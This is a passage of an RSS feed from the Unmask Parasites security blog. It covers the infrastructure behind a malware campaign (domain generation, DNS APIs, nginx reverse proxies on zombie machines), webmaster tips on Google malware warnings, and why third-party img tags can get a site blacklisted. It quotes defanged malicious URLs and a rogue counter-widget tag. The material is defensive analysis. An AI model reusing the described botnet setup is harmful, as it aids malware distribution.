<p>If you check HTTP header of responses from the malicious sites, you&#8217;ll notice that they all have the same &#8220;Server: <strong>nginx/0.7.65</strong>;  <strong> </strong>X-Powered-By: <strong>PHP/5.3.2-1ubuntu4.10</strong>&#8221; headers.</p>
<p>Although the headers suggest that the remote computer runs Ubuntu Linux distribution, it is hard to believe that hackers found so many vulnerable Ubuntu workstations all over the world connected to the Internet via regular ISP services. Moreover, they all have the same versions of Ubuntu, PHP and Nginx.</p>
<p>The answer to this is <a href="http://wiki.nginx.org/Main">Nginx</a>. This is a popular web server known to easily handle large volumes of traffic. It is popular within cyber criminals both for its ability to reliably work under heavy load and for it&#8217;s <strong>reverse-proxy</strong> feature that helps to hide the real malware distributing server behind the layer of proxies.</p>
<h3 id="scenario">The most probable scenario</h3>
<p>Cyber criminals have a program on a C&amp;C (command and control) server that is scheduled to do the following things:</p>
<ol>
<li>Use their domain generating algorithm and the OnlineNIC API to register a new domains.</li>
<li>Then ping their botnet and identify a few zombie-computers with reliable Internet connections and public IP addresses.</li>
<li>Using the DNS-DIY API, setup DNS records for the new domain. Specifically create two A records that point to two zombie-computers selected in the step 2.</li>
<li>For some older domains, update A records with new IPs selected in the step 2.</li>
<li>For more old domains, remove one A record and point the other to 127.0.0.1 or remove it altogether (dispose of the domain)</li>
<li>There is an Nginx web server on every zombie-computer. (There is a <a href="http://nginx.org/en/docs/windows.html">Windows version of Nginx</a>) that processes requests to malicious URLs (<span style="color: #993300;"><em>hxxp://malicious-domain .com/ <strong>index.php?tp=001e4bb7b4d7333d</strong></em></span>)</li>
<li>Nginx servers on zombie-computers work in a reverse proxy mode. They transmit every request to some remote server that actually distributes the malware and then return that server&#8217;s response back to clients (in our case to web browsers that loaded infected web pages). The &#8220;PHP/5.3.2-1ubuntu4.10&#8243; header is actually from that remote server (reverse proxies pass most headers from the proxied servers).</li>
</ol>
<h3 id="counter">Counter measures</h3>
<p>It is clear that the attack constantly evolves and changes but given its current state it is possible to identify its weak sides and suggest some counter measures.</p>
<ol>
<li>Hijack the domain generating algorithm. Interested parties can blacklist domains before they turn malicious (or at the very moment) or register them before the criminals do it. Of course, the algorithm will change, but it doesn&#8217;t take long to reverse engineer it and it will take quite some time for hackers to update their infrastructure to use a new algorithm and update the malicious code on all infected web pages.</li>
<li>Have OnlineNIC close the reseller accounts that the cyber criminals used for registering those domain names. If you check the Whois records of the domains, you&#8217;ll see that they were registered using the same few accounts (<a href="http://pastebin.com/pt1MHqFK" target="_blank">some of them</a>).  Of course, it is possible to register new reseller accounts, but if OnlineNIC agrees to cooperate, it will be easy to close rogue accounts as soon as they begin register new malicious domains. It is clear, that the attack infrastructure relies on APIs of OnlineNIC and DNS-DIY, so if they can&#8217;t use them it may disrupt the attack.</li>
<li>Don&#8217;t let the parasites use your resources.  Keep your computers and websites malware-free.</li>
</ol>
<p>I can&#8217;t tell for sure how exactly the malicious code is being injected into legitimate web pages (I couldn&#8217;t find webmasters of infected sites who would want to help me in my investigation <span style="color: #808080;">:(</span> ), but I see some signs that the attack could use <a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">stolen FTP credentials</a>. If this is true, webmasters should thoroughly scan they computers for malware, change all site passwords (and refrain from saving them in FTP clients) and then  remove the malicious code from files on server.</p>
<p><strong id="update1">Update (Feb 18, 2012)</strong>: Thanks to <a href="http://foks.se/">foks</a>, I&#8217;ve received some very interesting information about this attack. <a href="http://blog.unmaskparasites.com/2012/02/18/lorem-ipsum-and-twitter-trends-in-malware-update/">Please read the update here</a>. Some highlights of what you will find there:</p>
<ul>
<li>Confirmed FTP attack vector.</li>
<li><em><span style="color: #993300;">google_verify.php</span></em> and <em>auto_append_file</em> trick in <em>.htaccess.</em></li>
<li>New buggy version of the malicious script.</li>
<li>Detailed clean up instructions.</li>
</ul>
<p>##</p>
<p>Additional information and your comments are welcome.</p>
<p><strong>Similar posts:</strong></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2012/02/18/lorem-ipsum-and-twitter-trends-in-malware-update/">Lorem Ipsum and Twitter Trends in Malware. Update.</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/11/11/hackers-use-twitter-api-to-trigger-malicious-scripts/">Hackers Use Twitter API To Trigger Malicious Scripts</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/12/09/twitter-api-still-attracts-hackers/">Twitter API Still Attracts Hackers</a></li>
<li><a href="http://www.abuse.ch/?p=3387">How Criminals Defend Their Rogue Networks</a> &#8211; abuse.ch</li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=eX_qGT3nUHw:cEQtZKHGxWU:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=eX_qGT3nUHw:cEQtZKHGxWU:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=eX_qGT3nUHw:cEQtZKHGxWU:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=eX_qGT3nUHw:cEQtZKHGxWU:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/01/26/lorem-ipsum-and-twitter-trends-in-malware/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Matt Cutts on Malware</title>
		<link>http://blog.unmaskparasites.com/2012/01/11/matt-cutts-on-malware/</link>
		<comments>http://blog.unmaskparasites.com/2012/01/11/matt-cutts-on-malware/#comments</comments>
		<pubDate>Wed, 11 Jan 2012 11:32:00 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[Unmask Parasites]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[Matt Cutts]]></category>
		<category><![CDATA[SQL-injection]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=856</guid>
		<description><![CDATA[

Video highlights:

Use Safe Browsing diagnostics &#8212; false positives are very unlikely
http://www.google.com/safebrowsing/diagnostic?site=&#60;your-site-URL-here&#62;


The problem might have been caused by a third-party content (ads, widgets) that you use on your site
But in most cases the problem is in the malicious content/behavior added by hackers.


Malware review via Google Webmaster Tools.

prove ownership
use the  Diagnositics -&#62; Malware section for information on [...]]]></description>
			<content:encoded><![CDATA[<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="560" height="315" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/7GStGcTeo20?version=3&amp;hl=en_US" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="560" height="315" src="http://www.youtube.com/v/7GStGcTeo20?version=3&amp;hl=en_US" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><span id="more-856"></span><br />
Video highlights:</p>
<ol>
<li>Use Safe Browsing diagnostics &#8212; false positives are very unlikely<br />
<em><span style="color: #000080;">http://www.google.com/safebrowsing/diagnostic?site=<span style="color: #ff6600;">&lt;your-site-URL-here&gt;<br />
</span></span></em></p>
<ul>
<li>The problem might have been caused by a third-party content (ads, widgets) that you use on your site</li>
<li>But in most cases the problem is in the malicious content/behavior added by hackers.</li>
</ul>
</li>
<li>Malware review via <a href="http://www.google.com/webmasters/tools/">Google Webmaster Tools</a>.
<ul>
<li>prove ownership</li>
<li>use the  <strong>Diagnositics -&gt; Malware</strong> section for information on malware issues (e.g. examples of URL were malware was found, and samples of the found malicious content)</li>
<li>Once you fix the problem, click on the &#8220;<strong>request a review</strong>&#8221; link &#8212; your site will be reviewed during the next few hours.</li>
</ul>
</li>
<li><a href="http://support.google.com/webmasters/bin/answer.py?hl=en&amp;answer=158587">Fetch as Googlebot</a>. &#8211; useful tool to diagnose security problems when hackers hide malicious content from normal human visitors and only show it for search engine spiders (<a href="http://blog.unmaskparasites.com/tag/cloaking/">cloaking</a>) &#8212; this is quite a prevalent type of website hacks (part of massive Black Hat SEO campaigns).</li>
<li><strong>.htaccess</strong> &#8212; is a <a href="http://blog.unmaskparasites.com/tag/htaccess/">popular target</a> of website hacks. For example, hackers can add conditional rules to redirect all search engine traffic to a third-party website.</li>
<li>SQL-injections &#8212; another trick where hackers can exploit bugs in web applications that fail to properly sanitize user input &#8212; as a result, malicious content can be injected into site&#8217;s database.</li>
<li>Finding malware may be tricky.
<ul>
<li>Don&#8217;t only check the source code of your web pages. Check what browsers receive from your web server (both the page code and the HTTP headers).</li>
<li>You might want to play with different scenarios. <strong>Warning</strong>: <em>please use specialized tools and do it only in a controlled sandboxed environment, otherwise malware may infect your computer.</em>
<ul>
<li>direct visit</li>
<li>visit from a search engine</li>
<li>visit with clean cookies (first time visit)</li>
<li>visit using different browsers (IE, Firefox, Chrome)</li>
<li>visit from from different IPs and countries</li>
</ul>
</li>
</ul>
</li>
<li>Keep your system up to date.</li>
<li>Change passwords.</li>
<li><a href="http://www.UnmaskParasites.com/">Unmask Parasites</a> :) -  Matt called <a href="http://blog.unmaskparasites.com/">this site</a> a <em>&#8220;really useful place to talk about all the different attacks that are currently going on&#8221;</em>.</li>
</ol>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=otElfjE0suY:zRhv9nCWbq0:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=otElfjE0suY:zRhv9nCWbq0:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=otElfjE0suY:zRhv9nCWbq0:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=otElfjE0suY:zRhv9nCWbq0:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/01/11/matt-cutts-on-malware/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Selected Tweets (Oct-Nov 2011)</title>
		<link>http://blog.unmaskparasites.com/2011/11/21/selected-tweets-oct-nov-2011/</link>
		<comments>http://blog.unmaskparasites.com/2011/11/21/selected-tweets-oct-nov-2011/#comments</comments>
		<pubDate>Mon, 21 Nov 2011 15:11:26 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tweet Week]]></category>
		<category><![CDATA[canonical]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[MyBB]]></category>
		<category><![CDATA[safe browsing]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=854</guid>
		<description><![CDATA[Selected short messages and links you might have missed if you don’t follow me on Twitter.
It has been a while since the last Tweet Week. The main reason is I don&#8217;t tweet that often now to post my tweets every week and I don&#8217;t want to post old news here either.
So what happened? The answer [...]]]></description>
			<content:encoded><![CDATA[<p><em><span style="color: #888888;">Selected short messages and links you might have missed if you don’t follow me on Twitter.</span></em></p>
<p>It has been a while since the last <a href="http://blog.unmaskparasites.com/2011/08/29/tweet-week-august-22-28-2011/">Tweet Week</a>. The main reason is I don&#8217;t tweet that often now to post my tweets every week and I don&#8217;t want to post old news here either.</p>
<p>So what happened? The answer is I can&#8217;t get used to Twitter web interface &#8211; it is so inconvenient. I had to use it when I had some strange problems with my Twitter client (twhirl).  Thank&#8217;s god, I&#8217;ve finally made my twhirl work so I hope I will be able to tweet more often.</p>
<p>Anyway, here are some of the latest tweets.<br />
<span id="more-854"></span><br />
<span style="color: #888888;"><strong>November 15, 2011</strong></span></p>
<p style="padding-left: 30px;">[h-online] <a href="http://www.h-online.com/security/news/item/Joomla-updates-close-security-holes-1379162.html">Joomla! updates close security holes</a> &#8211; attackers can change Joomla passwords. Upgrade ASAP</p>
<p style="padding-left: 30px;">[seoarmada com au] <a href="http://seoarmada.com.au/seo-strategy/how-my-wordpress-sites-got-hacked-over-the-weekend">Webmaster&#8217;s story</a> about how the recent WordPress attack affected his four sites</p>
<p><strong><span style="color: #888888;">November 9, 2011</span></strong></p>
<p style="padding-left: 30px;"><a href="https://plus.google.com/112663080821764238527">Unmask Parasites is on Google+ now</a> &#8212; I&#8217;ll post things that are too long for Twitter and too short for blog</p>
<p><span style="color: #888888;"><strong>November 3, 2011</strong></span></p>
<p style="padding-left: 30px;">[TheRegister] <a href="http://www.theregister.co.uk/2011/11/02/wordpress_mass_compromise/">Thousands of WordPress sites commandeered by Black Hole</a> &#8212; not sure why it mentions my older article (<a href="https://plus.google.com/102541908655540829036/posts/DEMPBjoTv5V" target="_blank">G+</a>)</p>
<p><span style="color: #888888;"><strong>November 2, 2011</strong></span></p>
<p style="padding-left: 30px;"><a href="http://googlewebmastercentral.blogspot.com/2011/11/get-post-and-safely-surfacing-more-of.html">Google will selectively crawl resources behind POST requests</a></p>
<p><span style="color: #888888;"><strong>October 31, 2011</strong></span></p>
<p style="padding-left: 30px;"><strong></strong>RT <a href="http://twitter.com/stopbadware">@stopbadware</a>: In May, <a href="http://twitter.com/unmaskparasites">@unmaskparasites</a> discussed <a href="http://blog.stopbadware.org/2011/05/20/canonical-hacks">canonical hacks</a> on our blog. Google <a href="http://googlewebmastercentral.blogspot.com/2011/10/raising-awareness-of-cross-domain-url.html">announces protection</a> today.</p>
<p><span style="color: #888888;"><strong>October 30, 2011</strong></span></p>
<p style="padding-left: 30px;">Mozilla updated my <a href="https://addons.mozilla.org/en-US/firefox /addon/readable-safebrowsing/">&#8220;Readable SafeBrowsing&#8221; extension</a> to v0.2.5. &#8212; if you use FireFox and read SafeBrowsing diagnistic pages</p>
<p><span style="color: #888888;"><strong>October 26, 2011</strong></span></p>
<p style="padding-left: 30px;">[h-online] <a href="http://www.h-online.com/security/news/item/MyBB-downloads-were-infected-1366300.html">MyBB downloads were infected</a> &#8212; download package for MyBB v1.6.4 contained a backdoor</p>
<p><span style="color: #888888;"><strong>October 21, 2011</strong></span></p>
<p style="padding-left: 30px;">[armorize]<a href="http://blog.armorize.com/2011/10/httpjjghuicomurchinjs-mass-infection.html"> &#8220;jighui /urchin.js&#8221; script injection</a> on ASP.NET sites. &#8212; Did hackers confused Breton with Brazilian?</p>
<p>If you want more real-time experience, you can follow <a href="http://twitter.com/unmaskparasites">@UnmaskParasites</a> on Twitter or <a href="https://plus.google.com/112663080821764238527">circle Unmask Parasites</a> on Google +.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li> <a href="http://blog.unmaskparasites.com/category/tweet-week/">Previous Tweet Weeks</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=ATHPZKDzxJU:9LxVcDL-bNI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=ATHPZKDzxJU:9LxVcDL-bNI:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=ATHPZKDzxJU:9LxVcDL-bNI:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=ATHPZKDzxJU:9LxVcDL-bNI:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/11/21/selected-tweets-oct-nov-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why Does Google Consider Some Images Malicious?</title>
		<link>http://blog.unmaskparasites.com/2011/11/18/why-does-google-consider-some-images-malicious/</link>
		<comments>http://blog.unmaskparasites.com/2011/11/18/why-does-google-consider-some-images-malicious/#comments</comments>
		<pubDate>Fri, 18 Nov 2011 13:15:10 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[cross-site warning]]></category>
		<category><![CDATA[Google Chrome]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[img]]></category>
		<category><![CDATA[redirects]]></category>
		<category><![CDATA[safe browsing]]></category>
		<category><![CDATA[Webmaster Tools]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=852</guid>
		<description><![CDATA[The other day I received an email from a webmaster whose site was blacklisted by Google. In Webmaster Tools, he found the following example of a malicious code detected on his site (domain changed):
&#60;img src="http://example .net/images/logos/rssicon.png" /&#62;
So why did Google think this image tag was malicious? Can images be malicious? After all they are not [...]]]></description>
			<content:encoded><![CDATA[<p>The other day I received an email from a webmaster whose site was blacklisted by Google. In Webmaster Tools, he found the following example of a malicious code detected on his site (domain changed):</p>
<p><code>&lt;<strong>img</strong> src="http://example .net/images/logos/rssicon.png" /&gt;</code></p>
<p>So why did Google think this image tag was malicious? Can images be malicious? After all they are not scripts, iframes or embedded executable objects that that hackers use to attack web surfers.<br />
<span id="more-852"></span><br />
It turns out, images can really make Google blacklist your site.  In that particular case, the image was from a third party site and it was (as its name suggests) just an RSS icon. A normal legitimate file. The only problem was the third party site got hacked and attackers modified its <em>.htaccess</em> file to redirect search traffic to malicious sites (<a href="http://blog.unmaskparasites.com/2010/10/14/htaccess-redirect-to-example-rudirindex-php-2/">like here</a>). Subsequently, that &#8220;example. net&#8221; got flagged by Google.</p>
<h3 id="cross_site">Cross-site warnings</h3>
<p>Sometimes it&#8217;s enough for your site just to load something from a blacklisted site to get a warning. For example, Google Chrome has so called &#8220;<a href="http://oliverfisher.blogspot.com/2009/01/cross-site-warnings.html">cross-site warnings</a>&#8220;.  When you open a website that is not currently blacklisted, Chrome can detect (in real time) that a page loads something (usually scripts or iframes) from a known blacklisted  site. In this case you will see the infamous red malware warning. The only difference from a normal warning will be the words that &#8220;<em>website at <strong>&lt;your website&gt;</strong> contains <strong>elements</strong> from the site <strong>&lt;third party site&gt;</strong>, which appears to host malware&#8230;</em>&#8220;.</p>
<p>These cross-site warning only (reliably) work in Google Chrome. And since websites that contain elements from malicious site are not blacklisted at the moment, there will be no malware warnings in Webmaster Tools (until Google discovers malware on your site).  So the webmaster couldn&#8217;t find that code in Webmaster Tools if that was just a cross-site warning.</p>
<h3 id="broken">Broken links can be dangerous too</h3>
<p>Let&#8217;s get back to that hacked site. It&#8217;s .<em>htaccess</em> file also contained rules to redirect all erroneous requests (e.g. requests with error codes <strong>404</strong> Not Found, <strong>400</strong> Bad Request, <strong>401</strong> Unauthorized, <strong>403</strong> Forbidden and <strong>500</strong> Internal Server Error ) to malicious sites. In our case, that <em>rssicon.png</em> file was missing for some reason, thus requests to this file returned the 404 error code and got redirected to a bad site.</p>
<p>So every time when someone loads a page with that img tag, behind the scenes, one browser request goes to a malicious site. This is probably what Google malware scanners detected and this was the reason for flagging that website with the <em>rssicon.png</em> img tag.</p>
<h3 id="widgets">Images in third party widgets</h3>
<p>Another real world example is the current problem with Blogger blogs that use some fishy &#8220;<em>page views counter widget</em>&#8221; from <span style="color: #993300;"><strong>bloggerwidgets .cz .cc</strong></span>.  Google says, this site <a href="http://www.google.com/safebrowsing/diagnostic?site=bloggerwidgets.cz.cc" target="_blank">has infected 169 blogs</a>.</p>
<p>All infected site has the following &#8220;counter widget&#8221; code<br />
<code>&lt;img src="http://forums .bit-tech .net/images-light/misc/stats.gif" alt="" width="16" height="16" /&gt;<br />
&lt;img src="hxxp://<strong>demo .bloggerwidgets .cz .cc</strong>/counter2.php?page=xxxxxxxxxxxxxxxxxxx&amp;amp;digit=4" alt="counter" /&gt;</code></p>
<p>As you can see, this code loads an image from <span style="color: #993300;">demo .bloggerwidgets .cz .cc</span>. I guess it is supposed to display views count. However, the &#8220;bloggerwidgets .cz .cc&#8221; domain seems to be discontinued and now redirects all requests to a scam site.</p>
<h3 id="malicious">Are those images malicious?</h3>
<p>Can those images from hacked/redirecting sites be really dangerous for visitors to a site that embeds the images via an &lt;img&gt; tag? Well, I think such tags are &#8220;mostly harmless&#8221; ;) Modern browsers seem to correctly handle such redirections and simply don&#8217;t process server responses in unsupported formats (the malicious redirect returns some HTML code where an image is expected). But who knows, maybe some older browsers under certain conditions may misinterpret the scope of the redirection and navigate a browser to a bad site (after all this is what browser exploits are all about &#8212; they allow to do undocumented stuff).</p>
<h3 id="webmasters">To webmasters</h3>
<p>Anyway, whats&#8217; more important for webmasters  is that image tags can really be the source of malware warnings.</p>
<p>So here are some basic tips on how to deal with such situations:</p>
<p>1. Where possible, don&#8217;t use images and other resources (e.g. scripts, objects, etc) from third-party sites. You might want to copy the files to your own server (if their license permits this).</p>
<p>2. If you have to embed resources from third party sites (counters, widgets, ads), check how trustworthy and reputable they are (e.g. compare Facebook widget and the &#8220;<em><span style="color: #993300;">bloggerwidgets .cz .cc</span></em>&#8221; widget).</p>
<p>3. If Google blacklists your site and mentions some <em>&lt;img&gt;</em> tag as the source of the problem, you should remove that tag (or replace the image with some placeholder with similar dimensions to preserve page formatting) from all pages and then <a href="http://www.unmaskparasites.com/malware-warning-guide/#request">request a malware review via Google Webmaster Tools</a>.</p>
<p>4. In case you don&#8217;t see any samples of malicious code in Webmaster Tools (for example, if you haven&#8217;t registered your site with Webmaster Tools yet) you might want to check Google&#8217;s Safe Browsing diagnostic page for your site:</p>
<p><span style="color: #000080;">http://www.google.com/safebrowsing/diagnostic?site=<span style="color: #999999;"><em>example.com</em></span></span></p>
<p>Just replace &#8220;<em>example.com</em>&#8221; with your site domain.</p>
<p>On the diagnostic page, check domains mentioned in the &#8220;<em>What happened when Google visited this site?</em>&#8221; section. If your site links to some images on those domains you need to remove them before requesting a malware review.</p>
<p>5. If you really want to use those images on your site, you should contact the owners of the sites they reside on and ask to clean them up and have Google unblock them. Once those third party websites are clean you can link to their images again.</p>
<p>Note, the above instructions only apply to situations when Google blacklists your site because of <strong>the &lt;img&gt; tags that you added to your site yourself</strong>. If you find some image tags or other HTML code that don&#8217;t belong to your site and you never added them yourself, this will be a whole different story that requires different remediation steps (for example, the most important step will be to figure out how that alien code was injected into your web pages.)</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://www.unmaskparasites.com/malware-warning-guide/">Practical Guide to Dealing With Google’s Malware Warnings</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/10/14/htaccess-redirect-to-example-rudirindex-php-2/">Htaccess Redirect to Example.ru/dir/index.php</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/04/28/readable-safebrowsing-add-on-for-firefox-4/">Readable SafeBrowsing Add-on for Firefox 4+</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=ZJAuWf-SoNU:Uavjq3lbEZE:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=ZJAuWf-SoNU:Uavjq3lbEZE:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=ZJAuWf-SoNU:Uavjq3lbEZE:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=ZJAuWf-SoNU:Uavjq3lbEZE:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/11/18/why-does-google-consider-some-images-malicious/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss><!-- Dynamic page generated in 2.995 seconds. --><!-- Cached page generated by WP-Super-Cache on 2012-05-30 22:55:20 -->

